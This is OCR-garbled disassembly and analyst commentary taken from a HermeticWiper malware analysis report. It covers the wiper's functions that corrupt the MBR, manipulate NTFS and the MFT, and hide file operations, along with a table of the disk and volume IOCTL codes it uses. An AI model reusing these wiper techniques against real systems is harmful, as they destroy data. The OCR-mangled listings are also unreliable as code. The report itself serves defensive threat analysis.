call ds:StrStrii ; StrStrIW Finds the first occurrence of a substring within a string. The comparison is not case-sensitive
]
LX)
edx, [ebp+Destination]
ecx, eax
[ebp+var_24], eax
test eax, eax
jz short loc_4@2EES
[
[l i =
lea eax, [ebp+Destination]
push eax

lea eax, [ebp+SubKey]

push offset aSs ; "hsks”

push eax ; LPWSTR

call ds:wsprintfll

add esp, 18h

lea eax, [ebp+SubKey]

push eax ; lpSubKey

push 80000002h ; hKey

call ds:RegDeleteKeyl

v R R

esi ; hFile
ds:LZClose
loc_482EF8 edx, [ebp+var_208]

loc_402EF8: ; lpFileName
push ebx

call edi ; DeleteFilel

push ebx ; pszPath
call ds:PathFindExtensionW

test eax, eax

jz short loc_482F@E

ecx, ebx

; pszl

% I —

ecx, ecx

ebx ; lpFileName
[eax], cx

edi ; DeleteFilel

loc_482F0E:

mov eax, [ebp+var_24]
pop edi

pop esi

pop ebx

mov esp, ebp

pop ebp

retn
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4023C0_Read_Write_On_Disk function

bush
push
push

push
push

mov
mov
xorps
mov
push
push
mov
mov
movaps
movaps
call
mov
mov
test
jz

Q ; hTemplateFile
80h ; dwFlagsAndAttributes
3 ; dwCreationDisposition
; Value 3 Opens a file or device, only if it exists.
2] ; lpSecurityAttributes
1 ; dwShareMode
; value 1 Enables subsequent open operations on a file or device to request read access
eax, ecx
[esp+2Adh+var_264], edx
xmm@, xmme
[esp+2Adh+pszStart], eax
80000000h ; dwDesiredAccess
eax ; lpFileName
[esp+2ACh+var_268], @
esi, eax

[esp+2ACh+0utBuffer], xmm®
[esp+2ACh+var_220], xmm@
ds:CreateFilel

edi, eax
[esp+29@h+var_240], edi
edi, edi

short loc_40241A

edi, BFFFFFFFFh
jnz short loc_402431
I

call ds:GetlLastError
test edi, edi
jz loc_482681

edi, @FFFFFFFFh
jz loc_4082681
11

(A ]

ol e =5

loc_402431: ; nChar
push 4

; Parameters

5 [in] pszl.Type: PCTSTR. A pointer to the first null-terminated string to be compared.

; [in] psz2 Type: PCTSTR. A pointer to the second null-terminated string to be compared.
test eax, eax ; Return @ if the str are identical
jz short loc_402455

a ; nChar
offset asc_48523C ; "\\\\2\W\"
esi ; pszl

ds : StrimpNW

eax, eax

short loc_402458

loc_402455:
add esi, 8

—
il i 5=

loc_402458:

movq xmm@, gqword ptr ds:asc_4051F@ ; "\\\\.\\"
lea ecx, [esp+296h+RootPathName]

mov ax, word ptr ds:asc_4@51F@+8 ; ""

sub ecx, esi

movq qword ptr [esp+298h+FileName], xmm@

mov [esp+29Bh+RootPathName], ax

T
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W=
xor eax, eax
push  eax ; lpTotalNumberOfClusters
push  eax 3 lpNumberOfFreeClusters
mov [esp+298h+var_1FC], ax
lea eax, [esp+298h+BytesPerSector]
push  eax ; lpBytesPerSector
lea eax, [esp+29Ch+SectorsPerCluster]
push  eax 5 lpSectorsPerCluster
lea eax, [esp+2A0h+RootPathName]
push  eax ; lpRootPathName
test  eax, eax
iz loc_402658
;_l
e =
push @ ; hTemplateFile
push @ ; dwFlagsAndAttributes
push 3 5 duCreationDisposition
push @ ; lpSecurityAttributes
push 3 5 dwsShareMode
push  12019Fh ; duDesiredAccess
lea eax, [esp+2A8h+FileName]
push  eax 5 lpFileName
call  ds:CreateFilell
mov esi, eax
mov [esp+290h+var_23C], esi
test  esi, esi
iz loc_402658

esi, BFFFFFFFFh|
loc_402658

e 1
push  86h 5 duBytes|
push &8 ; dwFlags
call  ds:GetProcessHeap
push  eax 5 hHeap
call  ds:HeapAlloc
mov [esp+290h+var_278], eax
test  eax, eax
jz loc_482658

|

L 4

]
push @ 5 lpOverlapped
lea ecx, [esp+294h+BytesReturned]
push  ecx 5 lpBytesReturned
push  86h 5 nOutBufferSize
push  eax ; lpOutBuffer
push @ 5 nInBufferSize
push @ ; lpInBuffer

hDevice

5 and location on disk of a specific file, or, given a volume handle, the locations of bad clusters on a volume.

test  eax, eax
iz loc_402658

h 4
FEE]

xorps  xmm@, xmm@
movlpd [esp+290h+var_260], xmm®
mov cax, dword ptr [esp+29h+var_260+4]

mov ecx, dword ptr [esp+29@h+var_260]
mov [esp+290h+var_278], eax

mov [esp+290h+var_26C], ecx

xchg  ax, ax
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loc_492550: ; lpOverlapped
push ]

mov [esp+294h+var_234], eax

lea eax, [esp+294h+BytesReturned]
push eax ; lpBytesReturned
push 20h ; ' ; nOutBufferSize
lea eax, [esp+29Ch+QutBuffer]

mov [esp+29Ch+var_274], @

push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, [esp+2A4h+InBuffer]

mov [esp+2Ad4h+InBuffer], ecx

push eax ; lpInBuffer

; hDevice

ecx, dword ptr [esp+29@h+var_220]

mov esi, eax

mov eax, dword ptr [esp+290h+var_220+4]
mov dword ptr [esp+298h+var_268], eax
mov [esp+29@h+var_25@], ecx

test esi, esi

jz short loc_4825B1

loc_402652

wal
mov [esp+296h+var_26C], ecx
mov [esp+29Bh+var_270], eax

loc_4025B1:

lea eax, [esp+290h+var_274]

imul edi, [esp+29@h+BytesPerSector]
mov ecx, [esp+29@h+var_278]

push eax

push dword ptr [esp+294h+var_220+0Ch]
push dword ptr [esp+298h+var 220+8]

mov edx, edi

call sub_404130

add esp, BCh

test eax, eax

jz short loc_48263A

\_I*
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mov edx, [esp+ZBAh+var_2J74]
push eax ; int

add esp, 18h

mov eax, ds:CloseHandle
cmp edi, OFFFFFFFFh
jz short loc_4@266D

LiL_______________

edi ; hObject
eax ; CloseHandle
eax, ds:CloseHandle

] i 5=

loc_40266D:

test esi, esi

jz short loc_402679

esi, OFFFFFFFFh

mov [esp+298h+var_268], 1
|
X3
loc_40263A:
mov edi, [esp+29B8h+var 240]
mov eax, [esp+29@h+var 270]
mov ecx, [esp+29@h+var 26C]
cmp esi, BEAh
jz loc_402550
]
o,
il i =
loc_402652:
mov esi, [esp+29@h+var_23C]
jmp short loc_4@265B

jz short loc_482679
.
il 5=
push esi ; hObject
call eax ; CloseHandle
XX
P
loc_402679:
mov eax, [esp+298h+var 268]
test eax, eax
jnz short loc_ 402690
|
ri‘_i
ol s =
loc_482681: ; int
push [esp+2968h+var_264]
mov ecx, [esp+294h+pszStart] ; pszStart
xor edx, edx

loc_402690:

pop edi

pop esi

mov esp, ebp

pop ebp

retn
_4023C0_Read_Write_On_Disk endp
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_404C00_Handle_File_Info_read _ops_to_act_on_ NTFS

il i =
movq xmm@, qword ptr ds:asc_4@523C ; "\\\\2\\"
push [ebp+Size] ; Size
movq gword ptr [eax], xmm@
add eax, 8
push esi ; Src
push eax ; void *
mov [ebp+var 18], eax
mov esi, [ebp+lpFileName]
lea eax, [ebp+Src]
push 26h ; &' ; Size
push eax ; Src
mov eax, [ebp+Size]
add eax, 8
add eax, esi
push eax ; void *
call memcpy
add esp, 18h
push 2] ; hTemplateFile
push 2000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push Q 5 lpSecurityAttributes
push 1 ; dwShareMode
push 20000000h ; dwDesiredAccess
push esi ; lpFileName
call ds:CreateFileW
mov esi, eax
test esi, esi
jz short loc_4@4DAE
—J
call ds:CreateFilew
mov: [ebp+hDevice], eax
cmp eax, OFFFFFFFFh
jz loc_404F8D
1
=
push 86h ; dwBytes
push 8 ; dwFlags
call ebx ; GetProcessHeap
mov edi, ds:HeapAlloc
push eax ; hHeap
call edi ; HeapAlloc
mov [ebp+lpMem], eax
test eax, eax
jz loc_404F85
I
¥
=
push 2] ; lpOverlapped
lea ecx, [ebp+var_18]
push ecx ; lpBytesReturned
push 86h ; nOutBufferSize
push eax ; lpOutBuffer
push Q ; nInBufferSize
push 2] ; lpInBuffer

test eax, eax
jz loc_404F8D
I
] e =1
xorps xmm@, xmm@
push 6eh ; ' ; duBytes
push 2] ; dwFlags

movups  [ebp+var_84], xmm@
movups  [ebp+var_74], xmm@

movq [ebp+var_64], xmm@
call ebx ; GetProcessHeap
push eax ; hHeap
call edi ; HeapAlloc
mov edi, eax
test edi, edi
3z loc_404F8D
T 1
Y
P
push 2] ; lpOverlapped
lea eax, [ebp+BytesReturned]
push eax ; lpBytesReturned
push 6oh ; "' ; nOutBufferSize
push edi ; lpOutBuffer
push a ; nInBufferSize
push 2] ; lpInBuffer

push [ebp+hDevice] ; hDevice

push edi ; lpMem
push 2] ; dwFlags
test eax, eax

jnz short loc_404ECB
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_401D60 _Drive _WIPE

_401D60_PhysicalDrive_corruptMBR?__WIPE proc near

pszDest= word ptr -25Ch
var_5@= dword ptr -58h
var_A4C= dword ptr -4Ch
var_44= xmmword ptr -44h
dwBytes= dword ptr -34h
var_24= qword ptr -24h
var_1C= dword ptr -1Ch
var_18= dword ptr -18h
var_14= dword ptr -14h
var_18= dword ptr -18h
BytesReturned= dword ptr -0Ch
var_8= dword ptr -8
arg_@= dword ptr 8

mov ebp, esp
sub esp, 260h
push ebx
push esi
push edi
push ecx

xorps  xmm@, xmmé

mov [ebp+var_1C], edx

lea eax, [ebp+pszDest]

mov [ebp+var_1@], @

push 1084h ; cchDest
xor esi, esi

movq [ebp+var_24], xmm@

xor edi, edi

mov [ebp+BytesReturned], esi

movups [ebp+var_44], xmm@
mov [ebp+var_18], edi
movups xmmword ptr [ebp+dwBytes], xmm@

; int _ fastcall 401D68 PhysicalDrive_corruptMBR__ WIPE(int, int, void (_ stdcall *)(void *, char *, int, int, DWORD, LONG))

add esp, 1@h

lea eax, [ebp+var_58]

lea edx, [ebp+var_44]

lea ecx, [ebp+pszDest] ; lpFileName

push eax ; int

|call 461878 Retrieves INT of akey

mov ebx, eax

cmp ebx, @FFFFFFFFh

jz loc_401F73

[
ebx, ebx
loc_401FA8
L] v
i i =
mov edi, 24Ceéh
push edi ; dwBytes loc_401FA8:
push 8 ; dwFlags xor eax, eax
call ds:GetProcessHeap pop edi
push eax ; hHeap pop esi
call ds:HeapAlloc pop ebx
push 5} ; lpOverlapped mov esp, ebp
mov esi, eax pop ebp
lea eax, [ebp+BytesReturned] retn 4
push eax ; lpBytesReturned
push edi ; nOutBufferSize
push esi ; 1pOutBuffer
push [} ; nInBufferSize
push [} ; lpInBuffer
push 76056h ; dwIoControlCode 70050 = Handle to IOCTL_DISK GET_DRIVE LAYOUT_EX
push ebx ; hDevice
; Retrieves extended information for each entry in the partition tables for a disk|

call ds:GetlastError
cmp eax, 78h ; 'z’
jnz short loc_481E71
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call ds:GetProcessHeap
push eax ; hHeap
call ds:HeapAlloc
mov esi, eax
test esi, esi
jz loc_4@1F6B
I
L
Il
push (%] ; lpOverlapped
lea eax, [ebp+BytesReturned]
push eax ; lpBytesReturned
push edi ; nOutBufferSize
push esi ; 1pOutBuffer
push (%] ; nInBufferSize
push %] ; lpInBuffer
push ebx ; hDevice
call ds:GetlastError
cmp eax, 7Ah ; 'z’
jz short loc_401E10
E
vy
FIEE
loc A@1E71:
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¥

il i =1
mov eax, [ebp+var_8]
push a ; dwMoveMethod
push 2} ; lpNewFilePointer
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; liDistanceToMove
push ebx ; hFile
call ds:SetFilePointerEx
test eax, eax
jz loc_401F9D

||

]

push 2] ; lpOverlapped
lea eax, [ebp+BytesReturned]
push eax ; lpNumberOfBytesRead
push edi ; lpBuffer
push ebx ; hFile
call ds:ReadFile
test eax, eax
jz loc_4@1F9D

& L

short loc_4@1F4B

f""‘J  E—

word ptr [edi+@Bh], ©
short loc_481F34

Cmovnz ecx, eax

edx, edx
eax, dx

mov [edi+@Bh], cx
I —

il (e 5
loc_481F34:
mov eax, [ebp+var_8]
push dword ptr [eax+0Ch]
push dword ptr [eax+8]
push [ebp+var_4C]
push [ebp+var_1C]
push edi
push ebx
call [ebp+arg_@]
mov edx, [ebp+dwBytes+4]

ll ca
loc_A@1F4B: loc_481F9D:
mov ecx, [ebp+var 14]f |call ds:GetlastError
mov eax, [ebp+var_8]
inc ecx
add eax, 96h
mov [ebp+var_14], ecx
mov [ebp+var_8], eax
cmp. ecx, [esi+d]
ib loc_401EBO
I
i I

2023-nbr HermeticWiper Malware Analysis Report

41



Incident Response Threat Analysis for Senthorus

FZiE]

loc_401F71:

| | ‘ |ib loc_401EB@ |
l 1
' T —

i il i =]
mov edi, [ebp+var_18]
jmp short loc_401F73 | |loc_401FA3:

xor edi, edi mov edi, [ebp+var_18]

Jmp short loc_401F73

short loc_401F83

ebx, GFFFFFFFFh

jz short loc_4@1F83
il i =
push ebx ; hObject
call ds:CloseHandle

mov ebx, ds:GetProcessHeap
test esi, esi
jz short loc_401FB3
1
L]
ol et = ol et =
push esi 5 lpMem
push Q ; dwFlags loc_4@1FB3:
call ebx ; GetProcessHeap mov esi, ds:HeapFree
mov esi, ds:HeapFree
push eax ; hHeap
jmp short loc_4@01FB9
jz short loc_401FC5
a L
FEZE
push edi 5 lpMem
push 2] ; dwFlags
call ebx ; GetProcessHeap
push eax ; hHeap

_401B80_NTFS_FAT

v
il e =
loc_401FC5:
mov eax, [ebp+var_10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4

_401D60_PhysicalDrive_corruptMBR?__WIPE endp
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mov [esp+84h+var_64], @
mov: eax, [esi+3]
mov: dword ptr [esp+84h+Stringl], eax
mov: eax, [esi+7]
mov [esp+84h+var_68], eax
lea eax, [esp+B4h+Stringl]
push eax 5 1pStringl
call ds:1strcmpA
test eax, eax
jnz loc_401C4F
I
L ] v
s 5
loc_4@1C4AF:
mov eax, [esi+36h]
mow edi, ds:StrStrA
mov dword ptr [esp+80h+Stringl], eax
mov eax, [esi+3Ah]
mov [esp+8Bh+var_68], eax

eax, [esp+80h+Stringl]

[esp+88h+var_64], 0

call edi ; StrStrA
test eax, eax
jnz short loc_401C9F
1
v

401590 Encrypt

ecx, [esi+56h]
eax, [esi+52h]

[esp+8@h+var 68], ecx
ecx, [esp+80h+Stringl]

ecx ; pszFirst
dword ptr [esp+88h+Stringl], eax
edi ; StrStrA

eax, eax

short loc_401C9F
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short loc_401674

short loc_401659

ebx, ebx [esi], eax
short loc_4016DB short loc_401655
| | I 1
(] v (]

= 7= 1 = 7= 1 = 7=

_4034D0_Hide NTFS_operations
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push 80000803h ; hKey
call edi ; RegOpenKeyl
test eax, eax
jnz short loc_4@35E3
I_*I
il i =
'Software\Microsoft\Windows\CurrentVersion\Explorer\' :
; The GlobalFolderOptions inner element represents a collection of options used to control how folders are displayed on a client operating system.
eax, [ebp+hKey]
eax ; phkResult
push [ebp+phkResult] ; hKey
call edi ; RegOpenKeyW
test eax, eax
jnz short loc_4035E@ .
A 4
=]
push 4 ; cbData
mov dword ptr [ebp+Data], eax
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push 2] ; Reserved
push [ebp+hKey] ; hKey
call ds:RegSetValueExh
push 4 ; cbData
lea eax, [ebp+Data]
push eax ; lpData
push 4 ; dwType
push 2] ; Reserved
push [ebp+hKey] ; hKey
call ds:RegSetValueExh
push [ebp+hKey] ; hKey
call ebx ; RegCloseKey
¥
il s 55
loc_4835E8: 5 hKey]|
push [ebp+phkResult]
call ebx ; RegCloseKey
# vy
[y
402290_MFT
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movzx  eax, word ptr [ecx]

lea ecx, [ecx+2]
mov [edx+ecx-2], ax
test ax, ax

jnz short loc_402200

FIZE]

loc_4822E2:

mov esi, [ebp+edi*4+var_8]
push ebx 5 lpString
call ds:1strlenw

add eax, eax

lea ecx, [ebp+pszl]

sub eax, esi

add ecx, eax

nop dword ptr [eax+00000000h]

loc_402380:

movzx  eax, word ptr [esi]
lea esi, [esi+2]

mov [ecx+esi-2], ax
test ax, ax

jnz short loc_402300

edx, [ebp+arg_4]
ecx, [ebp+pszl] ; pszl

edi
edi, 2
short loc_4022E2

401490 _Send_control_codeToDriver

pop ebx

mov esp, ebp
pop ebp

retn 8

482290 _MFT endp
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I

; Attributes: bp-based frame

481490 Send_control_codeToDriver proc near

InBuffer= qword ptr -1Ch
BytesReturned= dword ptr -18h
var_C= dword ptr -8Ch
hDevice= dword ptr -8

arg_@= dword ptr 8

; BOOL _ fastcall 481490 Send_control_codeToDriver(HANDLE hDevice,

_DWORD **, DWORD *)

push ebp
mov ebp, esp
sub esp, 28h
push ebx
mov ebx, [ebp+arg 0]
mov eax, edx
push esi
Xorps xmm@, xmm@
mov [ebp+var C], eax
push edi
mov ebx, [ebx]
mov [ebp+hDevice], ecx
movq [ebp+InBuffer], xmm@
test ebx, ebx
jz short loc_4014B6
I 1 .
ol = il i =
mov edi, [eax]
Jmp short loc_4014D0| |loc_4014B6:
mov ebx, 1Ch
push ebx ; dwBytes
push 8 ; dwFlags
[call  ds:GetProcessHeap ; Returns the number of active heaps and retrieves handles to all of the active heaps for the calling process|
push eax ; hHeap
call ds:HeapAlloc
mov ecx, [ebp+hDevice]
mov edi, eax

loc_4014D8:
xor esi, esi
test edi, edi
jz short loc_401550
1
¥
[l i =
push esi ; 1pOverlapped
lea eax, [ebp+BytesReturned]
push eax ; lpBytesReturned
push ebx ; nOutBufferSize
push edi ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, [ebp+InBuffer]
push eax ; lpInBuffer
push ecx ; hDevice
call ds:DeviceIoControl
mov esi, eax
call ds:GetlLastError
test esi, esi
jnz short loc_ 481575
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lea eax, |ebp+InButter]

push eax ; lpInBuffer
push ecx ; hDevice
call ds:DeviceIoControl

mov esi, eax

call ds:GetlLastError

test esi, esi

jnz short loc_401575

eax, PEAh
jnz short loc_481558
T 1
L]
]
push esi
push 8

push dword ptr [edi+8Ch]
push dword ptr [edi+8]
call sub_401000

lea ebx, [eax+19h]

push ebx ; dwBytes
push edi 5 lpMem
push esi ; dwFlags

; The buffer is allocated from the default process heap, using the handle returned by GetProcessHeap.

; hHeap
test eax, eax
jz short loc_401550
: |

]

push esi ; lpOverlapped

lea ecx, [ebp+BytesReturned]

mov edi, eax

push ecx ; lpBytesReturned

push ebx ; nOutBufferSize

push eax ; lpOutBuffer

push 8 ; nInBufferSize

lea eax, [ebp+InBuffer]

push eax ; lpInBuffer

push [ebp+hDevice] ; hDevice

mov esi, eax

test esi, esi

jnz short loc_481575

I 1
ds:GetlLastError
loc_401575:
cmp esi, 1
jnz short loc_401550
1

eax, [ebp+var (]
cmp dword ptr [eax], 0
jnz short loc_40156C

v

il i =1

mov eax, [ebp+var_C]
mov [eax], edi

mov eax, [ebp+arg 0]
pop edi

mov [eax], ebx

mov eax, esi

pop esi

pop ebx

mov esp, ebp

pop ebp

retn

_401490_Send_control_codeToDriver endp
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DeviceloControl

*
BEl e e[S S 3 E-@C | SfaF #w X|] > OO owvmdom deuor =1 | %2 || @ 1

Library functon [l Reguer function [l Instructon [ Data [l Unexpiored | External symbol [l Lumina functon

[7] Punctons n.,,|ra DA Vew-A o|a Hox o o | m e o|® — o|&® fa— g @ Exmorts
~idata:00485078 extrn GetsystenTineAsFileTime:dword
.1data:00405078 ; CODE XREF: sub_401508+F91p
.idata:00405078 I -
\idate:0940507C ; HANDLE (_stdcall *CreateFilew)(LPCSTR g b5 les, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE
,§da:.:m?g1s extren CreateFilel:dword ; (o T T = ]
.idata: 0048507 5 s -
.idata:00405080 ; BOOL (__stdcall *CloseHandle)(HAVDLE hOb3dIZ \* & u-soierpess o gty
. idata:00485080 extrn CloseHandle:dword ; CQE 4o r  sub_401FED=8A call  ds:Craatefilaw
- ldata: 00485088 ; S Up p  sub 40IFED+BA call  ds:CreateFileW
1 a:00405084 ; BOOL (__stdcall *SetFilePointerEx)(HANDLE up r sub_402330+44 call  ds:Createfilew
data: 00405084 extrn SetFilePointerEx:dword(| Up p  sub_402330+44 il dsiCreaterlew
5:00405084 ;o= vp ¢ sun_sascosas call ds:Createsiew
ta:00405084 Dl o swisascms el deiCreateFilew
iata:00405088 ; BOOL (_stdcall *ReadFile) (HANDLE hFile, Up r sub_a023C0+113 call - dsiCreatefilew Happed)
200405088 extrn ReadFile:dword Up p b AMNCHILE ol ds:CrealePlet
Up r o sub_4029D0+380 el ds:CrealeFileW
< data 00405083 . P SUSup p o sub_4029D0+38D col - dsiCreateFileW |
.idata:0040505C ; BOOL (_stdcall “GetDiskFreeSpaceH)(LPCWSIEE yp r  suo su3zs0+38 al ds:CreateFiew reeClusters, LPDWORD lpTotallumber0fClusters)
. idata:0048508C extrn GetDiskFreeSpaced:dwoll up p  sun 403280628 [ ———
. idata:0048508C s QS up ¢ subs0aan0sas Gl dsiCreatesilew
idata:0040508C ;s Up P sub_a03310+45 call  ds:CreateFilew
3:0040508C DS vp r  subanecon+130 l dsiCreateFileW
.idata:@8405090 ; int (_ stdcall *lstrlenk)(LPCWSTR lpStringusjUp p  sub04C00+130 @l ds:CreateflleW
. idata: 8405000 extrn lstrlenk:dword  ; C t" ; ::—mxﬁgg :: ::E:::g::x
- Ldata:0ansoo0 ;S u; P sub_404C00+186 il dsiCreatefileW
+1data: 06405090 L G MEw p subsescoonss cll dsCreaterlew
.idata:00405094 ; BOOL (_stdcall *WriteFile)(HMDLE hFile, [F i ¢  suastscoasain s 1poverlapped)
.1data:00405094 extrn WriteFile:dword ; CQiFup p  subadcoos21s ol ds:CrestoFilew
. idata:00485094 ;s
.idata:00485094 ; D
_idata: 00405098 ; BOOL (_ stdcall *FlushFileBuffers)(HANDLE  Line 1of 24
.idata:00405098 extrn FlushFileBuffers:dwor
.1data:00405098 ;o o* Cancel seach Hep
.idata:08405098 ; sub_AB7908+48CTp
.idata: 00485098 ; DATA XR
_idata:9040509C ; HANDLE (_ stdcall *CreateThread)(LPSECURITY ATTRIBUTES lpThreadAttributes, SIZE T dwStackSize, LPTHREAD START ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD 1pThreadId)
idata:6046509C extrn CreateThread :dword
. 1data:0040509C ; CODE XREF: sub_4027F@+241p
. idata:0048509C 5 sub_403430+6F1p ...
.ideta:094850A8 ; DWORD (_stdcall *WeitForMultipleObjects)(DWORD nCount, const HANDLE *lpHandles, BOOL bHaitAll, DWORD dwMilliseconds)
A a:084850A0 extrn WaitForMultipleObjects:dword
. idata:004850A0 5 CODE XREF: sub_4027F0+48%p
. 1data:004050A0 ; DATA XREF: sub_4027F@+d81r
.idata:084850A4 ; HMODULE (_stdcall *GetModuleHandleW)(LPCWSTR lpModulehame)
.idata: 00405044 extrn GetModuleHandleh:dword
.idata:004050A4 ; CODE XREF: sub_4@2900+3Ftp
. idata:004050A4 ATA XREF: sub_4029D+3F1r
.idata:004050A8 ; FARPROC (_stdcall *GetProcAddress)(HMODULE hModule, LPCSTR lpProchame)
. idata:004050A8 extrn GetProcAddress :dword
. idata:004050A8 ; CODE XREF: sub_402900+741p
. idata:004050A8 ; sub_402908+7Etp ...
.idata:04050AC ; HANDLE (_stdcall *GetCurrentProcess)()
. 1data:084050AC extrn GetCurrentProcess:dward
. idata:004850AC ; CODE XREF: sub_402900+92p
. idata:004850AC ; sub_403938+381p ...
_idata: 90405080 ; ULONGLONG (_ stdcall *VerSetConditionMask)(ULONGLONG ConditionMask, DWORD TypeMask, BYTE Condition)
.idata:004050B0 extrn VerSetConditionMask:dword
. 1data:00465080 ; CODE XREF: sub_402908+001p

.idata:@6405080 ; sub_d4029D8+EStp
. idata: 06485080 ; DATA XREF
_idata:004050B4 ; BOOL (_stdcall *VerifyVersionInfoW)(LPOSVERSIONINFOEXH lpVersionInformation, DWORD dwTypeMask, DWORDLOMG dwlConditionMask)
.idata:064850B4 extrn VerifyVersionInfol:dword

= ouput =]

Function argument information has been propagated
The initial autoanalysis has been finished.
Caching "Imports’... ok

Caching "Imports’... ok

=]
M Lots of functionalities deferre to DeviceloControl calls with specific IOCTLs???

Let’ strytounderstand!

We can notice that for each DeviceloControl we have dwloControlCode. The associated value is the control code.

/0 control codes (IOCTLs) are used for communication between user-mode applications and drivers

For instance the control code 700A0 give the IOCTL_DISK_GET_DRIVE_GEOMETRY_EX

According to Microsoft, the 700A0 dwloControlCode Retrieves extended information about the physical disk's geometry: type,
number of cylinders, tracks per cylinder, sectors per track, and bytes per sector.
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&
Helpful |
Tips \
Retrieve all the code dwloControlCode to understand which orders are passed through the IOCTL

xrefs to DeviceloControl O =
Direction Type Address Text
@ Up r _401490_Send_control_co... call ds:DeviceloControl
@ Up p _401490_Send_control_co... call ds:DeviceloControl
@ Up r _401490_Send_control_co... call ds:DeviceloControl
@ Up p _401490_Send_control_co... call ds:DeviceloControl
@ Up r _401870_Retrieves_INT_o... mov  eax, ds:DeviceloControl
@ Up p _401870_Retrieves_INT_o... call eax ; DeviceloControl
@ Up r _401870_Retrieves_INT_o.. mov  eax, ds:DeviceloControl
@ Up p _401870_Retrieves_INT o... call eax ; DeviceloControl
@ Up r _401D60_PhysicalDrive_co... call ds:DeviceloControl; IOCTL_DISK_GET_DRIVE_LAYOUT_EX IOCTL
@ Up p _401D60_PhysicalDrive_co... call ds:DeviceloControl; IOCTL_DISK_GET_DRIVE_LAYOUT_EX IOCTL
@ Up r _401D60_PhysicalDrive_co... call ds:DeviceloControl
@ Up p _401D60_PhysicalDrive_co... call ds:DeviceloControl
@ Up r sub_401FEQ+DC call ds:DeviceloControl; IOCTL_DISK_GET_DRIVE_LAYOUT_EX IOCT
@ Up p sub_401FE0+DC call ds:DeviceloControl; IOCTL_DISK_GET_DRIVE_LAYOUT _EX IOCT
@ Up r sub_402330+60 call ds:DeviceloControl
@ up p sub_402330+60 call  ds:DeviceloControl
@ Up r sub_402330+7A call  ds:DeviceloControl
@ Up p sub_402330+7A call  ds:DeviceloControl
@ Up r sub_4023C0+167 call ds:DeviceloControl
@ Up p sub_4023C0+167 call ds:DeviceloControl
@ Up r sub_4023C0+1BB call ds:DeviceloControl
@ Up p sub_4023C0+1BB call ds:DeviceloControl
@ Up r sub_402FDO+A3 call ds:DeviceloControl
@ Up p sub_402FD0+A3 call  ds:DeviceloControl
@ Up r sub_402FD0+1EF call  ds:DeviceloControl
B p sub_402FD0+1EF a fice:

r sub_404500+57 call ds:DeviceloControl
@ Up p sub_404500+57 call ds:DeviceloControl
@ Up r _404C00_Handle_File_Inf.. call ds:DeviceloControl
@ Up p _404C00_Handle_File_Inf.. call ds:DeviceloControl
@ Up r _404C00_Handle_File_Inf.. call ds:DeviceloControl
@ Up p _404C00_Handle_File_Inf.. call ds:DeviceloControl
Line 26 of 32

= = =

Address Function Instruction
text:004014E3 _401480_Send_control_cod... push 900&Fh + dwloControlCode 3006F = FSCTL_GET_VOLUME_BITMAP
text:00401536 _401490_Send_control_cod... push 9008Fh ; dwloControlCode 9006F = FSCTL_GET_WOLUME_BITMAP
text:0040 18DA _401870_Retrieves_INT of... push 201080h  ; dwloControlCode 201080 =IOCTL_STORAGE_GET_DEVICE_MUMBER
. _401870_Retrieves_INT of ... 700A0h : ControlCode 70040 = I | _GET_DRIVE_GEOMETRY_EX
text:004010F3 _401D&0_PhysicalDrive_corr ... push 70050h ;+ dwloControlCode 70050 = Handle to IOCTL_DISK_GET_DRIVE_LAYOUT _EX
Jtext:0040 1E5A _401D060_PhysicalDrive_corr ... push  70050h + dwloControlCode 70050 = Handle IOCTL_DISK_GET_DRIVE_LAYOUT_EX
JGext:004020682 sub_401FED push  580000h + dwloControlCode 560000 = IOCTL_VOLUME_GET_WOLUME_DISK_EXTENTS
JGext:0040233A sub_402330 push 90018h ; dwloControlCode 90018 = FSCTL_LOCK_VOLUME
JGext:004023A4 sub_402330 push  90020h + dwloControlCode 90020 = FSCTL_DISMOUNT _VOLUME
text:00402521 _4023C0_Read_Write_On_... push 580000h  ; dwloControlCode 560000 = IOCTL_VOLUME_GET_VOLUME _DISK_EXTENTS
text:00402575 402300 _Read_Write_On_.. push 90073h ; dwloControlCode 90073 = FSCTL_GET_RETRIEVAL_POINTERS
JGext:00403069 sub_402F00 push 90073h ; dwloControlCode 90073= FSCTL_GET_RETRIEVAL_PQIMTERS
Jtext:00403 168 sub_402FD0 push 90074h 1+ dwloControlCode 90074= FSCTL_MOVE_FILE
Jtext:0040455F _404500_Enumerates_file_I... push 90088h + dwloControlCode 90068 = FSCTL_GET_NTFS_FILE_RECORD
text:00404E54 _404C00_Handle_File_Info_... push 560000h  ; dwloControlCode 560000 = IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS
text:00404EAS _404C00_Handle_File_Info_... push 90084 ; dwloControlCode 90084 = FSCTL_GET_NTFS_VOLUME_DATA
Jidata: 00405064 3 BOOL (__stdcall *DeviceloControl)(HAMDLE hDevice, DWORD dwloControlCode, LPVOID IpInBuffer, DWORD nInBuf
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dword ptr [ebp+OutBuffer], 7
short loc_4018EC

[]

eax, [ebp+var (]

[ebx+8], eax

xmm@, [ebp+OutBuffer]
quord ptr [ebx], xmm@

eax, ds:DeviceloControl

loc_401918:
test edi, edi

jz short loc_46195E

text:00401536
text:004018DA
text:0040192C
text:00401DF3
text:00401E5A
text:00402082
text:0040238A
text:004023A4
Jtext:00402521
text:00402575
.text:00403069
.text:00403168
.text:0040455F
Ltext:00404E5A
text:00404EA8
.idata:00405064

_401490_Send_control_cod
_401870_Retrieves_INT_of.
_401870_Retrieves_INT_of.
_401D60_PhysicalDrive_corr
_401D60_PhysicalDrive_corr
sub_401FED

sub_402330

sub_402330
_4023C0_Read_Write_On_...
_4023C0_Read_Write_On_...
sub_402FD0

sub_402FD0

_404500_Enumerates_file I...

_404C00_Handle_File_Info
_404C00_Handle_File_Info

push 9006Fh

; dwloControlCode 9006F = F5CTL

voLur

push 2D1080h  ; dwloControlCode 2D 1080 =IDCTL_STORAGE_GET_DEVICE_NUMBER

push  700A0h
push  70050h
push 700500

; dwloControlCode 70040 = I0CTL_DISK_GET_DRIVE_GEOMETRY_EX
; dwloControlCode 70050 = Handle to IOCTL_DISK_GET_DRIVE_LAYOUT EX
